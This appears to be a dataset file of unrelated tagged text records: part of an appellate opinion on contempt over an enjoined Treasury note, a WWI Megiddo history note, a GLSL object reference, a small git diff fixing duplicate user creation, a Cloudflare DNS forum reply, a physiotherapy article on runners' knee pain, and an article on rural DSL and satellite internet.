Johnson was the sole owner of D & K, which engaged in selling motorcycles, boats, motors, trailers, jet skis, and other sporting goods. D & K changed from a proprietorship to a corporation on January 24,1983. That day, Johnson also signed as an incorporator of Tuff Tire Texas, Inc., which was owned by MacKay. Both corporate charters had been prepared by Johnson’s legal counsel. Johnson never exercised duties for Tuff Tires, except to ship goods from a warehouse adjacent to D & K.
MacKay and Johnson had extensive business dealings, however, and Johnson purportedly received the $100,000 T-Note in connection with these activities. As early as March of 1982, MacKay purchased five jet skis from D & K for $10,500. Thereafter, MacKay became a substantial customer of D & K. According to Johnson, D & K would deliver to MacKay whatever he requested, and MacKay would usually settle his account by paying D & K a lump sum in a rounded amount.
Johnson claims MacKay paid D & K the $100,000 T-Note sometime in February or early March of 1983 as satisfaction for services and equipment which MacKay had purchased. Again, MacKay did not receive the T-Note until March 18, so the court could discredit Johnson’s testimony. Further, Johnson could only document approximately $5,000 worth of outstanding debt for MacKay, which included several questionable repair bills.
Johnson’s subsequent handling of the T-Note also adds to the incredulity of his story. He admitted that he knew the T-Note was negotiable by any bearer. Yet, he kept the note for three months in a filing cabinet in his store where he placed business records and invoices. He then cashed the T-Note on June 14,1983, despite its later maturity date. Furthermore, although the note was paid to settle a D & K account, Johnson placed the proceeds from this note in a personal account under the name “James K. Johnson.” Johnson, however was generally known by his middle name, “Kendall” or “Ken.” Johnson admitted that before he cashed the T-Note, MacKay had told him that he was “under a lawsuit.”
Finally, the rapid manner in which Johnson dissipated the proceeds from this note supports the incredible nature of his story. Between June 14 and 30, he spent all but $516.42 of the proceeds. Included in his purchases were two boats with motors and trailers worth $31,042.50. Johnson pledged these assets to the court in lieu of the supersedeas bond. Our discussion of this substitution is treated in Part VIII below. Johnson also made $71,300 in cash withdrawals, usually in $8,000 blocks, purportedly to purchase used equipment at motorcycle auctions and for other untraceable transactions. Johnson, however, was unable to adequately document these purchases, nor could he specifically itemize which products were purchased with the proceeds from the note.
Based on the foregoing evidence, the court could properly conclude that Johnson’s story was inherently incredible and that he accepted the T-Note from MacKay with full knowledge that the funds were subject to the court’s injunction. The court could properly rely on the Dyer rule and the other proof to reach this conclusion.
Johnson contends that no evidence was offered to prove that he knew of the court’s orders prior to cashing the T-Note. He thus asserts that the court improperly relied on its disbelief of Johnson as the sole evidence of such knowledge. The court, however, had ample circumstantial evidence to support its finding that Johnson had the requisite notice of the court’s orders before cashing the note. Plaintiffs are not required to adduce direct evidence that Johnson had actual notice of the court’s orders. See United States v. Palacios, 556 F.2d 1359, 1364 (5th Cir.1977); United States v. Warner, 441 F.2d 821, 825, 830 (5th Cir.), cert. denied, 404 U.S. 829, 92 S.Ct. 65, 30 L.Ed.2d 58 (1971). Such proof is often unavailable. They may carry their burden of proving that Johnson had notice, as long as the proof is clear and convincing. Proof of Johnson’s activities relating to his disposition of the funds, plus his demeanor at trial provided sufficient evidence of his knowledge and intent to meet plaintiffs’ burden. The evidence supports the district court’s finding that Johnson aided and abetted MacKay in dissipating the enjoined funds. We find no error here.
C. The Bank
The Waffenschmidts object to the release of the Bank when the court found it acted in good faith in its dealings with MacKay. They contend that good faith is irrelevant to a finding of civil contempt, because civil contempt is designed to compensate a plaintiff, not to punish the defendant. McComb v. Jacksonville Paper Co., 336 U.S. 187, 191, 69 S.Ct. 497, 499-500, 93 L.Ed. 599 (1948); Union Tool Co. v. Wilson, 259 U.S. 107, 111-12, 42 S.Ct. 427, 428-29, 66 L.Ed. 848 (1922); Vuitton et Fils S.A. v. Carousel Handbags, 592 F.2d 126, 128 n. 2 (2d Cir.1979); Doe v. General Hospital of District of Columbia, 434 F.2d 427, 431 (D.C.Cir.1970). Therefore, they contend that the Bank should have been held in civil contempt, despite its apparent good faith.
The Waffenschmidts misinterpret the court’s holding. Although good faith is irrelevant as a defense to a civil contempt order, good faith is relevant to whether the Bank aided or abetted MacKay in dissipating the funds with knowledge that it was violating the court’s orders. When the court found that the Bank failed to act as MacKay’s agent, it could not exercise jurisdiction over the Bank. The court, therefore, never reached the issue of whether the Bank was in contempt of its orders, or if any valid defenses were present to militate against a contempt order.
A review of the evidence demonstrates that the district court’s finding that the Bank did not aid or abet MacKay was not clearly erroneous. The Bank admittedly received a copy of the TRO and its extension through May 27, 1983. Its president, Greer, referred the TRO to the Bank’s counsel, who cautioned that the Bank should not act out of the normal course of its regular business dealings with MacKay. The TRO specifically allowed persons to continue such regular dealings with MacK-ay. The Bank also contacted MacKay for an explanation, who assured the Bank that the TRO involved no funds concerning his dealings with the Bank. While the Waffenschmidts are highly critical of this negligent action, it' does not affect the conclusion that the Bank did not actively aid or abet MacKay with knowledge that it was violating the court’s orders.
The Bank, relying on MacKay’s assurances, loaned him funds, but required him to pledge a note or coupon as collateral for each transaction. The Bank thus acquired a “cash equivalent” as security, in light of MacKay’s questionable dealings in Mississippi. MacKay told the Bank on June 2, 1983 that he would be unable to repay the loans and instructed the Bank to apply the proceeds of the T-Notes to his debt. When the Bank acted upon these instructions, however, it did not violate any known court order, because the TRO that it had received expired by its own terms on May 25, 1983. The Bank did not receive a copy of the preliminary injunction until July 25, 1983. Thus, at the time the Bank sold the T-Notes and coupons, it was aware of no existing order of the court that it would be violating. These findings by the district court are not clearly erroneous; therefore, it correctly held that it lacked jurisdiction of the Bank to hold it in contempt.
VII
All parties appeal the district court’s adverse rulings concerning attorney’s fees. The award or denial of attorney’s fees by a district court will not be overturned absent an abuse of discretion. In re Hunt, 754 F.2d 1290, 1294 (5th Cir.1985). Based on the evidence discussed in the preceding sections, the court had ample evidence to conclude that Currey and Johnson aided and abetted MacKay in violating the court’s injunction. This vexatious conduct justified the award of attorney’s fees against them. See F.D. Rich Co., Inc. v. United States ex rel Industrial Lumber Co., Inc., 417 U.S. 116, 129, 94 S.Ct. 2157, 2165, 40 L.Ed.2d 703 (1974). The court was also well within its discretion in concluding that the Waffenschmidts had a sufficiently viable claim to require the Bank to bear its own attorney’s fees. The Waffenschmidts could not collect attorney’s fees from the Bank when the Bank prevailed on the merits both in the district court and on appeal. The same holds true for Currey and Johnson in their attempt to collect fees from the Waffenschmidts. The parties have failed to demonstrate any abuse of discretion by the trial court. We affirm the court’s rulings on this issue.
VIII
Finally, the Waffenschmidts object to the substitution of the $31,042.50 worth of boats, motors, and trailers in place of a supersedeas bond in the amount of $106,-840.09. They contend that this action has unjustly jeopardized their right to collect on the judgment.
“[A] supersedeas bond is a privilege extended to the judgment debtor as a price of interdicting the validity of an order to pay money.” Poplar Grove Planting & Refining Co. v. Bache Halsey Stuart, Inc., 600 F.2d 1189, 1191 (5th Cir.1979). We stated in Poplar Grove, however, that if the judgment debtor demonstrates that his “financial condition is such that the posting of a full bond would impose an undue financial burden, the court ... is free to exercise a discretion to fashion some other arrangement for substitute security ... which would furnish equal protection to the judgment creditor.” Id. at 1191.
The district court reviewed Johnson’s assets, and Johnson offered to pledge any of them as security pending this appeal. The court concluded that the pledge of the $31,-042.50 worth of assets would serve as sufficient collateral since the values in the remaining assets were already encumbered. Waffenschmidt does not contend that the court did not require the pledge of all property values then possessed by Johnson. Rather than deprive Johnson of his right to a stay of execution on the judgment pending appeal, the district court permitted the substitution.
The Waffenschmidts’ appeal on this issue stands in a unique and somewhat frustrating position. They did not seek preliminary relief from this order pending appeal, leaving us instead to decide this matter in conjunction with the remainder of the case. At this late stage in the appeal, we cannot afford the Waffenschmidts the relief they seek without severing this aspect of the case from the other issues. The Waffenschmidts have not asked us to do so, and we are not persuaded that a severance on this issue would serve the interests of justice. Severing this issue is as likely to impede as to facilitate a prompt resolution of this appeal and the payment into the court of the proceeds from the MacKay transaction.
Any decision we would make on the supersedeas issue would have no effect until the mandate issued from this court. Once our mandate issues affirming the judgment, the Waffenschmidts no longer need a supersedeas bond — they may execute on the judgment. If Johnson has sufficient assets to satisfy the judgment, the Waffenschmidts may reach them. If, however, Johnson lacks sufficient assets, reversing the district court in this issue as a part of this judgment would be unavailing.
Should further proceedings in this or another court delay the Waffenschmidts’ ability to execute on their judgment and the Waffenschmidts can show any change of circumstances since the district court’s initial, ruling, such as an improved financial condition of Johnson, they may petition the district court to reconsider the substitution. At this juncture of this appeal, we cannot provide greater relief.
We affirm the judgment of the district court in all respects. We do not reach the issue of the substitution of collateral.
AFFIRMED. | CASELAW |
1918: September 19-25
The British forces’ progress on the Sinai and Palestine front had been hampered by the Spring Offensive of 1918, with the regional commander General Edmund Allenby having lost many of his infantry troops to the Western Front. By the summer, the Ottoman and German forces in the region had regained some of the ground lost during the autumn 1917 British attacks.
Following the arrival of new reserves from India, however, the British were poised to launch a new offensive on the Megiddo hill and the surrounding hills of Judea in September. A fifteen minute bombardment opened the attack at 4am on September 19, successfully breaking Ottoman lines. When this was accomplished, Allenby sent a diversionary cavalry attack up the Jordan Valley, before directing the force of his offensive to the west and up the coast in order to cut off the Ottoman retreat. The inroad was so successful the cavalry even came close to capturing German general Otto Liman von Sanders in his headquarters at Nazareth. Megiddo, where two other notable battles were fought in the 15th century BC and in 609 BC, fell with little resistance the same day.
The British took some 25,000 prisoners over the course of the Battle of Megiddo, while as few as 10,000 Turkish and German soldiers managed to escape to retreat north. Megiddo was the first of a series of victories in the region, including the fall of Beirut and Damascus to British control.
main picture, public domain, from the Australian War Memorial | FINEWEB-EDU |
GLSL Object
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A GLSL Object is an object in the OpenGL API that encapsulates the compiled or linked programs that execute portions of the OpenGL Pipeline. These objects represent code written in the OpenGL Shading Language (GLSL). Though they are called "objects", they do not fit within the OpenGL Object paradigm.
GLSL compilation model
GLSL is quite unique among shading languages due to its compilation model. Most shading languages use a simpler, one-stage model: you give it a string representing a shader for one of the shader stages, and it gives you a shader object that you can bind to the context and render with.
GLSL uses a more complicated model based on the compilation of C programs. In C, a compilation unit, typically a single source file that may include several external header files, is compiled into an object file. A number of object files are then linked into a single program.
GLSL operates in a similar fashion. A set of source files, given as a series of strings, are compiled into a shader object. This is the analog of an object file. Unlike typical shading languages, there is no requirement that this shader object represent a full shader stage. The only limitation is that it can only compile code that is appropriate for a single, specific shader stage.
Shader objects are useless in that form, just as object files from compiled C programs are useless directly. Shader objects must be linked into a single program object. Unlike most shader languages, the program objects contain all programmable stages at once. Only one program can be bound for rendering at any one time, and it is illegal for a program object to omit any required stages entirely. Required stages are those for which there is no non-shader equivalent.
Legacy Note: In compatibility mode, none of the stages are required, as fixed-functionality can always replicate them.
Terminology
Because of GLSL's unique compilation model, GLSL uses unique terminology.
According to GLSL's standard terminology, a shader is just a compiled set of strings for a particular programmable stage; it does not even need to have the complete code for that stage. A program is a fully linked program that covers multiple programmable stages.
Shader and program objects
Since GLSL's compilation model has 2 separate concepts, shaders and programs, there are 2 kinds of objects: shader objects and program objects. Shader objects represent compiled shaders, while program objects represent fully linked programs.
Neither of these object types conforms to the standard OpenGL Objects paradigm. Rather than using a state-based methadology for most of their functions, they use a more object-based API. The compilation, linking, and state access functions for these objects all take the object as a parameter, rather than requiring that the object be bound to the context before use.
Object creation
Shader objects are created with a call to:
GLuint glCreateShader(GLenum type);
The type field refers to the kind of shader object you wish to compile. A shader object can be of type GL_VERTEX_SHADER, GL_FRAGMENT_SHADER, or GL_GEOMETRY_SHADER. Once created, this object can only ever be used for shaders of that particular type.
{legacy note|In pre-OpenGL 3.1, you could ignore the glGen* functions, using any non-zero unsigned 32-bit integer as an object name. This was true for any OpenGL Object. However, because shader objects are not OpenGL Objects, you cannot do this, even in GL 2.0.}
They are deleted by calling:
void glDeleteShader(GLuint shader);
Similarly, program objects are created and deleted with:
void glDeleteProgram(GLuint program);
Note that the creation and deletion functions work one at a time, unlike those for regular OpenGL Objects.
Shader compiling
Compiling a shader object is pretty simple. Before you can compile a shader, you must add strings to it. This is done with this command:
void glShaderSource(GLuint shader, GLsizei count, const char **string, const int *length);
The shader parameter is a previously created shader object. You can compile multiple strings in a single shader. This works exactly like appending these strings to one another, in the order given in the array. count tells how many strings are in the array, string is the array of strings to compile, and length is an array of lengths of those strings. length can be NULL; if it is, then all of the strings in string must be NULL-terminated. Otherwise, the lengths of the strings will be taken from the length value. If one of the elements in length is negative, then the corresponding string must be NULL-terminated.
Calling this function will also undo any previous calls to this function for this command. So calling this multiple times will not add multiple strings; that's why the function intrinsically takes multiple strings.
Note that, like any other OpenGL function that takes pointers, the information in those pointers is copied to the OpenGL context before the function returns. Therefore, you may free this memory afterward.
Once strings have been set, you can then compile the shader:
void glCompileShader(GLuint shader);
This does not return a value; you can query the success or failure of the compilation via glGetShaderiv. See the section on #Error handling for this.
A shader object, once it has successfully compiled, can be compiled with a different set of strings. All you need to do is call glShaderSource and glCompileShader again. This is not advisable, however. It is preferable to simply delete the shader object and build a new one, as recompiling the shader will likely not have the effect you intend.
For example, if you have a program and you attach a shader to it, recompiling the shader with new code will not update the program. This is exactly like it is for object files on the disk; it doesn't matter that you change a .o file once you've already used it to generate the executable. You must re-link the executable manually in order for the changes to take effect.
Program linking
Linking a program is not as simple as compiling a shader. The linking process involves more than just taking a collection of compiled shader objects and building a program from them. Though that is the first step.
In order to link a program, you must attach one or more compiled shader objects to the program. This is done with this API:
void glAttachShader(GLuint program, GLuint shader);
This will cause the shader object shader to become attached to the program object program. A shader object can be attached to any number of program objects. The shader object, due to being attached to the program object, will continue to exist even if you delete the shader object. It will only be deleted by the system when it is no longer attached to any program object (and when the user has asked to delete it, of course). Even so, it is not a good idea to refer to shader objects after deleting them.
You do not have to explicitly detach shader objects, even after linking the program. However, if you wish to do so, you may use this function:
void glDetachShader(GLuint program, GLuint shader);
The next step in linking the program is to provide attribute indices for any vertex attributes. This is only important if you have a vertex shader as part of the program.
This step is also optional. If you wish, OpenGL can automatically assign your vertex attributes to an index. However, since you must know this index in order to set up your VAO correctly, and you will likely want to be able to mix and match VAOs and programs as much as you want, it is best to pick your own vertex attribute indices.
To do this, call this API before linking the program:
void glBindAttribLocation(GLuint program, GLuint index, const char *name);
The index is the attribute value you want to assign, and name is the string name of the attribute in the vertex shader that you want to use. The binding this function creates only takes effect when the program is linked. The attribute name does not have to actually be in the linked program; this allows you to set up a global mapping of names to indices and simply always use them for every program you create.
If one is rendering to a framebuffer (as opposed to a vertex buffer through transform feedback), then the output values must be mapped to the current framebuffer's draw buffer indices. If the fragment shader only writes to one user-defined output, then this output will be automatically bound to output index 0. Otherwise, the output indices will be automatically generated, just as for vertex shader inputs.
Automatic generation of output indices is generally just fine for writing to a single output buffer. The generated index is 0, which is generally what you want. However, when dealing with multiple output buffers, automatic generation is less useful than for attribute indices. That is because you are far more likely to need to use multiple program with the same framebuffer, and the changes made by glDrawBuffers is part of the framebuffer's state. If you do not wish to change this parameter for every use of a program, then you are advised to manually assign output indices for all of your programs.
To do this, call this API before linking:
void glBindFragDataLocation(GLuint program, GLuint colorNumber, const char *name);
The colorNumber is the index into the glDrawBuffers list that the output named name will be written into.
If you are instead intending to use this program for transform feedback, then you must tell the program which outputs from the last shader stage should be written to the buffer objects.
To do this, call this API before linking:
void glTransformFeedbackVaryings(GLuint program, GLsizei count, const char **varyings, GLenum bufferMode);
The varyings is a string array of count elements. These named outputs, in order, will be written to the buffer. The bufferMode says whether the written attributes will be interleaved or written separately to the buffer.
Once all of this has been set up as the user wishes, then you may call:
void glLinkProgram(GLuint program);
This will link the program.
Error handling
Compiling and linking can cause errors. Unlike most OpenGL errors however, these errors are delivered in the form of text.
To check to see if a shader successfully compiled, call glGetShaderiv(shader, GL_COMPILE_STATUS, &bDidCompile). The integer pointer will be filled with GL_TRUE if the compilation was successful and GL_FALSE if it was not. Similarly, to check to see if a program linked, call glGetProgramiv(program, GL_LINK_STATUS, &bDidLink).
Compiling and linking, whether successful or not, will generate a textual log. The log will contain warnings and errors, as appropriate to the shader and program in question. The length of the log can be queried with glGetShader/Programiv with GL_INFO_LOG_LENGTH as the parameter. The logs themselves can be queried with this function:
void glGetShaderInfoLog( GLuint shader, GLsizei bufSize, GLsizei *length, char *infoLog ); void glGetProgramInfoLog( GLuint program, GLsizei bufSize, GLsizei *length, char *infoLog );
This will cause the infoLog buffer (of size bufSize) to be filled in with the log. If length is non-NULL, it will be filled in with the number of characters written to infoLog.
Program usage
The only thing you can use shader objects for is to make programs. Program objects however, have many uses.
To bind a program to the context for rendering, call:
void glUseProgram(GLuint program);
As with the usual glBind* calls, this will cause program to become the actively bound program and cause the previously bound program to be unbound. And just as with the usual glBind* calls, binding the 0 program object will cause the program to be unbound.
Program objects store the state of GLSL Uniform values. These can be queried and set through program objects.
You can retrieve information about the attribute and fragment data location bindings as well.
Like uniforms, attributes can be active or inactive. Attributes that are unused are inactive; they do not have a binding. The number of active attributes in a program can be retrieved with glGetProgramiv with GL_ACTIVE_ATTRIBUTES.
To retrieve information about an attribute, call this function:
void glGetActiveAttrib( GLuint program, GLuint index, GLsizei bufSize, GLsizei *length, GLint *size, GLenum *type, char *name );
The index is a number on the half-open range [0, GL_ACTIVE_ATTRIBUTES); it represents a particular active attribute. name will be filled in with the name of the attribute; bufSize is the size of this character array. If length is not NULL, it will be filled in with the number of characters written to name. The size will be filled with the number of elements in the attribute array, if the attribute is an array type. Otherwise, it will be set to 1. The type will be set to the OpenGL enumeration for the GLSL type of the attribute.
To get the attribute location (the one used by glVertexAttribPointer, not the index field used above), we use this function:
GLint glGetAttribLocation( GLuint program, const char *name );
If name is not an active attribute in program, the function will return -1.
Similarly, to get the fragment data location we use this function:
GLint glGetFragDataLocation( GLuint program, const char *name );
Again, if name is not a fragment data location in program, the function returns -1.
Program separation
Program Separation
Core in version 4.5
Core since version 4.1
ARB extension GL_ARB_separate_shader_objects
The above paradigm is functional, but with the increase in the number of shader stages, the combinatorial explosion of different combinations of shaders is very great. Therefore, it is possible to compile and link program objects into individual shader stages, and then dynamically combine them when necessary. | ESSENTIALAI-STEM |
~vesto/feedon
1ac264e15a91efbfb580c8f8fd78a2424b838658 — Steve Gattuso 6 months ago 3e71699
fix user storage bugs
2 files changed, 18 insertions(+), 5 deletions(-)
M feedon/blueprints/auth.py
M feedon/db/__init__.py
M feedon/blueprints/auth.py => feedon/blueprints/auth.py +14 -4
@@ 99,11 99,21 @@ def complete():
)
user_data = verify_resp.json()
user = db.User.create(
instance_domain=instance_domain,
access_token=access_token,
handle=user_data['username'],
# Check to see if the user already exists
user = db.User.get_or_none(
(db.User.instance_domain == instance_domain) &
(db.User.handle == user_data['username'])
)
if user is None:
user = db.User.create(
instance_domain=instance_domain,
access_token=access_token,
handle=user_data['username'],
)
else:
user.access_token = access_token
user.save()
session['user_id'] = user.id
M feedon/db/__init__.py => feedon/db/__init__.py +4 -1
@@ 18,8 18,8 @@ class Instance(peewee.Model):
class User(peewee.Model):
id = peewee.AutoField()
handle = peewee.CharField()
instance_domain = peewee.CharField()
handle = peewee.CharField()
access_token = peewee.CharField()
def get_client(self):
@@ 37,6 37,9 @@ class User(peewee.Model):
class Meta:
table_name = 'users'
database = db
indexes = (
(('instance_domain', 'handle'), True),
)
class Timeline(peewee.Model):
id = peewee.AutoField() | ESSENTIALAI-STEM |
Grey cloud in DNS is not working
Hello! I am trying to disable caching for subdomain, but it doesn’t work. I purged cache, enabled dev mode, but still have 524 error with my long running script.
If you have set the DNS entry to :grey: but have an application that is still connecting to Cloudflare you most likely need to resolve the issue one the client, as no settings in Cloudflare will apply unless the hostname is :orange:. How to diagnose and resolve depends on your Operating System, so the commands below may be different on your machine.
First, use a tool like https://dnschecker.org to verify that the DNS result for the hostname in question is working as expected. The result should be the IP address of your origin server, and not the two or three Cloudflare addresses you get for :orange: hostnames.
If that test is OK, then it is confirmed as a local issue, and you need to investigate whether you have a local hosts file, or a local DNS cache that needs to be purged.
This topic was automatically closed 30 days after the last reply. New replies are no longer allowed. | ESSENTIALAI-STEM |
Patellofemoral Pain in Runners
Patellofemoral pain (PFP) is pain associated around or behind the kneecap; it is the one of the most prevalent running injuries, with 9 – 15% of the active population reporting PFP at one time or another. This pain in runners is debilitating, often varied in how it presents, and the true source of pain is very difficult to narrow down (Stefanyshyn et al. 2006; Barton et al. 2012).
“THAT’S A FACT: RUNNERS TEND TO OVERDO AND PUSH THROUGH PAIN”
Jean-Francois Esculier – The Running Clinic
Should I stop running?
When you get PFP it’s not to say you should stop running completely, but perhaps you can modify your training for the moment? Can you reduce the distance, or slow your pace down and see if this helps?
According to Esculier et al. (2017) you should experience no more pain than 2/10 (in a 0-10 model for pain with 0 being nothing and 10 being the worst possible pain) whilst running; have no pain after an hour stopping the run and have no pain the next day. They found that this simple guidance, then building this activity up gently, was found to be effective in treating PFP.
There is an agreement that the position and glide of the patella is influenced by the soft tissue and biomechanics of the general lower limb and the joints. This means that muscle imbalances can put certain stresses on the patella and can be a reason for your pain (Neal 2019).
The role of strengthening the glutes has shown to be important in runners with PFP– they need to manage 4 x your body weight whilst running (Lenhart et al. 2014).
There’s a good glute’s circuit by Tom Goom (running physio) to help get people started – this isn’t appropriate for everyone and always best to be assessed first, or consult your healthcare professional if you’re unsure.
What this all means?
The take home message is to adjust your running regime to a more manageable pain level and gradually build from there. Maybe you’ve increased your pace, distance or number of sessions recently and your body isn’t ready just yet and needs to build up slowly?
Evidence suggests that effective treatment is about modifying activity, strengthening and education tailored to the individual (Lack et al. 2015; Barton et al. 2015). Everyone is different and in injuries there’s rarely, if at all, a “one size fits all” approach.
At TA Physiotherapy we aim to incorporate this into our assessment and treatment. If you have concerns or feel you need a thorough assessment book with one of our physiotherapists or our running coach.
Aran Pemberton
Aran qualified as a Physiotherapist graduating from the University of Worcester in 2017. He has since been working within the NHS, rotating into different specialities such as the Emergency Department, Critical Care, Orthopaedics and MSK. He has worked with people of all ages and different levels of health and fitness, encouraging exercise as an essential part of health and wellbeing and providing the best care for his patients.
Aran has a keen interest in soft tissue mobilisation and movement re-education as part of the rehabilitation process. He has an interest in sports injuries and has experience treating players and working with the strength and conditioning coaches under the physio in Worcester County Cricket Club.
References
Barton CJ, Lack S, Hemmings S, et al. The ‘Best Practice Guide to Conservative Management of Patellofemoral Pain’: incorporating level 1 evidence with expert clinical reasoning Br J Sports Med 2015;49:923-934.
Barton CJ, Lack S, Malliaras P, et al. Gluteal muscle activity and patellofemoral pain syndrome: a systematic review Br J Sports Med 2013;47:207-214.
Lack S, Barton C, Sohan O, et al. Proximal muscle rehabilitation is effective for patellofemoral pain: a systematic review with meta-analysis Br J Sports Med 2015;49:1365-1376.
Lenhart R, Thelen D, Heiderscheit B. Hip muscle loads during running at various step rates. J Orthop Sports Phys Ther. 2014;44(10):766–A4. doi:10.2519/jospt.2014.5575
Neal BS, Lack SD, Lankhorst NE, et al. Risk factors for patellofemoral pain: a systematic review and meta-analysis Br J Sports Med 2019;53:270-281.
Stefanyshyn DJ, Stergiou P, et al. Knee Angular Impulse as a Predictor of Patellofemoral Pain in Runners. The American Journal of Sports Medicine 2006, 34(11), 1844–1851. | ESSENTIALAI-STEM |
How Music Got Free
How Music Got Free: The End of an Industry, the Turn of the Century, and the Patient Zero of Piracy (Also published as How Music Got Free: What Happens When an Entire Generation Commits the Same Crime?, How Music Got Free: The Inventor, The Mogul and the Thief, and How Music Got Free: A Story of Obsession and Invention) is a non-fiction book by journalist Stephen Witt. The book chronicles the invention of the MP3 format for audio information, detailing the efforts by researchers such as Karlheinz Brandenburg, Bernhard Grill and Harald Popp to analyze human hearing and successfully compress songs in a form that can be easily transmitted. Witt also documents the rise of the warez scene and spread of copyright-infringing efforts online while detailing the campaigns by music industry executives such as Doug Morris to adapt to changing technology.
The publisher Viking distributed the work on June 16, 2015. The book has received praise from publications such as Kirkus Reviews and The Washington Post.
Background and book contents
The book notes that, at a presentation to the Fraunhofer Society, Brandenburg and his team's presentation of the technology that could re-create the fidelity of a recording on a CD at one-twelfth the size created a stir. "Do you realize what you’ve done?" asked a listener to the team. "You’ve killed the music industry!"
"On websites and underground file servers across the world," Witt states, "the number of mp3 files in existence grew by several orders of magnitude. In dorm rooms everywhere incoming college freshmen found their hard drives filled to capacity with pirated mp3s". He also writes, "Music piracy became to the late ’90s what drug experimentation was to the late ’60s: a generation-wide flouting of both social norms and the existing body of law, with little thought of consequences." The book recounts how many people wound up building massive archives of music for little other than the thrill created by finding and sorting the information.
Witt writes about the obscure online community known as 'The Scene', particularly describing the efforts of the Rabid Neurosis (RNS) group to illegally spread copyrighted material. A North Carolina manufacturing plant employee named Dell Glover, his life described in detail by Witt, discovers that he has the ability to get his hands on albums before their official release dates and goes on to work with RNS leaking hundreds upon hundreds of discs. Artists such as Mary J. Blige, Mariah Carey, Eminem, Kanye West, and Jay Z have their material distributed online due to Glover's actions. Witt states that Glover and RNS became the world’s premier music pirates, possibly costing the record industry millions of dollars.
The book describes how the then CEO of Universal Music Group, Doug Morris, attempted to weather the storm created by technological changes given the evolution of social culture. Witt comments that "the uniform blandness of the corporate sound wasn’t helping" and gives a mixed picture as to how Morris and other executives dealt with falling sales.
Reviews and responses
The Washington Post published an article by writer Louis Bayard praising the book, with Bayard commenting that he found the work "whip-smart, superbly reported, and indispensable". Bayard additionally stated that technology has created a period of "uneasy times, and no one should go too easy on himself", finding the recent trends troubling himself. Kirkus Reviews ran a praising response to the book, with it labeled as a "propulsive and fascinating portrait of the people who helped upend an industry and challenge how music and media are consumed".
Documentary
In June 2024, a two-part documentary based on Witt's book was released. Directed by Alex Stapleton, it features interviews with musical artists Eminem, Timbaland, and former record executive Jimmy Iovine.
The Guardian reviewer writes: "Today, everyone knows just how bad a thing that turned out to be for the music industry, nearly destroying it by the early 2000s. What most people don't know, however, is the story behind the people who created the technology that made this revolution possible, as well as the group of kids who first figured out how to use its tools so enticingly. That’s the tale told by a thought-provoking and highly entertaining new docuseries titled How Music Got Free." | WIKI |
Page:History of merchant shipping and ancient commerce (Volume 2).djvu/595
1791 | Foulis | 765 | Never heard of. 1792 | Winterton | 771 | Lost. 1793 | Princess Royal | 805 | Taken. 1794 | Pigot | 765 | Taken. 1796 | Triton | 800 | Taken. — | Dutton | 761 |} — | Ganges | 784 |} Lost on the West — | Middlesex | 852 |} India Expedition. — | Pousborne | 804 |} 1797 | Ocean | 1189 | Lost. — | Martha | 406 | Lost. 1798 | Princess Amelia | 808 | Burnt. — | Raymond | 793 | Taken. — | Woodcot | 802 | Taken. — | Henry Addington | 1200 | Lost. 1799 | Earl Fitzwilliam | 803 | Burnt. — | Osterley | 755 | Taken and retaken. 1800 | Queen | 801 | Burnt. — | Kent | 820 | Taken. — | Earl Talbot | 1200 | Foundered. 1803 | Culland's Grove | 576 | Taken. — | Lord Nelson | 820 | Taken and retaken. — | Hindostan | 1248 | Lost. — | Prince of Wales | 820 | Foundered. — | Admiral Aplin | 558 | Taken. — | Comet | 529 | Taken. 1804 | Princess Charlotte | 610 | Taken. — | Brunswick | 1200 | Taken. 1805 | Earl of Abergavenny | 1200 | Lost. — | Warren Hastings | 1200 | Taken and retaken. — | Ganges | 1200 | Lost. — | Britannia | 770 | Lost. 1806 | Lady Burges | 820 | Lost. — | Fame | 492 | Taken. — | Shelton Castle | 584 | Foundered. 1808 | Lord Nelson | 818 |} — | Glory | 549 |} Foundered. — | Experiment | 502 |} — | Walpole | 820 | Lost. — | Travers | 577 | Lost. 1809 | Britannia | 1200 | Lost. — | Admiral Gardner | 813 | Lost. — | Calcutta | 819 |} — | Jane, Duchess of Gordon| 820 |} — | Bengal | 818 |} Foundered. — | Lady Jane Dundas. | 820 |} | WIKI |
How To: Get an Internet Connection in the Middle of Nowhere to Hack Remotely
Get an Internet Connection in the Middle of Nowhere to Hack Remotely
If you're living or staying out in the middle of nowhere or a rural area outside of a big city or town — where there are no reliable cable, fiber, or wireless networks available — how can you get an internet connection? There are several possibilities, but they all come with tradeoffs, which we'll go over in detail.
Normally, rural, more isolated areas in the U.S. are usually only served by one internet provider, whether that's dial-up or some other connection type. These providers offer slower speeds than most ISPs in more populated locations. Because they are the only ones in the community, there isn't any pressure for them to innovate and upgrade their infrastructure to give users higher speeds.
Option 1: DSL Providers
DSL is the service that knocked dial-up off the map. It's faster than dial-up, always-on, and you can use your landline phone while you're surfing the web. This is the most common type of internet connection you'll be able to get out in the countryside since it uses the phone lines you already have. However, while faster than dial-up, it's still super slow by today's standards.
When I was out in the middle of nowhere in Montana, the only DSL provider was Frontier Communications. And typical speeds were around 10 Mbps for uploads and 1 Mbps for downloads. That's crazy slow. You might be able to stream a low-quality video on Netflix, Prime, or YouTube, but you can pretty much forget about Apple TV or Disney Plus. And a one-gigabyte file would take approximately 15 minutes with a steady connection.
You'll definitely have a slow connection, but that connection will also be fairly reliable — possibly the most reliable one on this list. If you need a steady connection for downloading or uploading, this will provide you with fewer interruptions and outages.
You can search in your area for DSL providers using a simple web tool, to see what's available. Common providers include AT&T, CenturyLink, EarthLink, Frontier, and Verizon. Still, there are many companies with DSL products since it's a fairly cheap game to get into with the basic infrastructure already in place.
Option 2: Satellite Data Providers
If there are no DSL providers in your area, another option to check out is satellite internet, where the system in place uses a geostationary orbit, aka geosynchronous equatorial orbit (GEO).
Now, I'm not talking about the new Starlink system designed by SpaceX that can give you anywhere from 50 Mbps to over 150 Mbps download speeds. It's only available in select locations, so you likely won't be in a service zone. It's a very-low Earth orbit non-geostationary satellite orbit constellation (NGSO) with lower latency, a smaller size, and lower losses compared to its geostationary counterpart.
The GEO type of satellite constellations move with Earth's rotation so that satellite antennae on the ground can be permanently fixed in one position without tracking the satellites above. They are placed above low orbit, which means high latency because of the distance to your home — and slower-than-DSL speeds. Average speeds nationwide are around 1 Mbps downloads and about a quarter of that for uploads.
In the same area in Montana, using HughesNet as my provider, I typically saw just over 1 Mbps for downloads, and it hardly ever went over 0.5 Mbps for uploads. The maximum download speed I observed was about 20 Mbps.
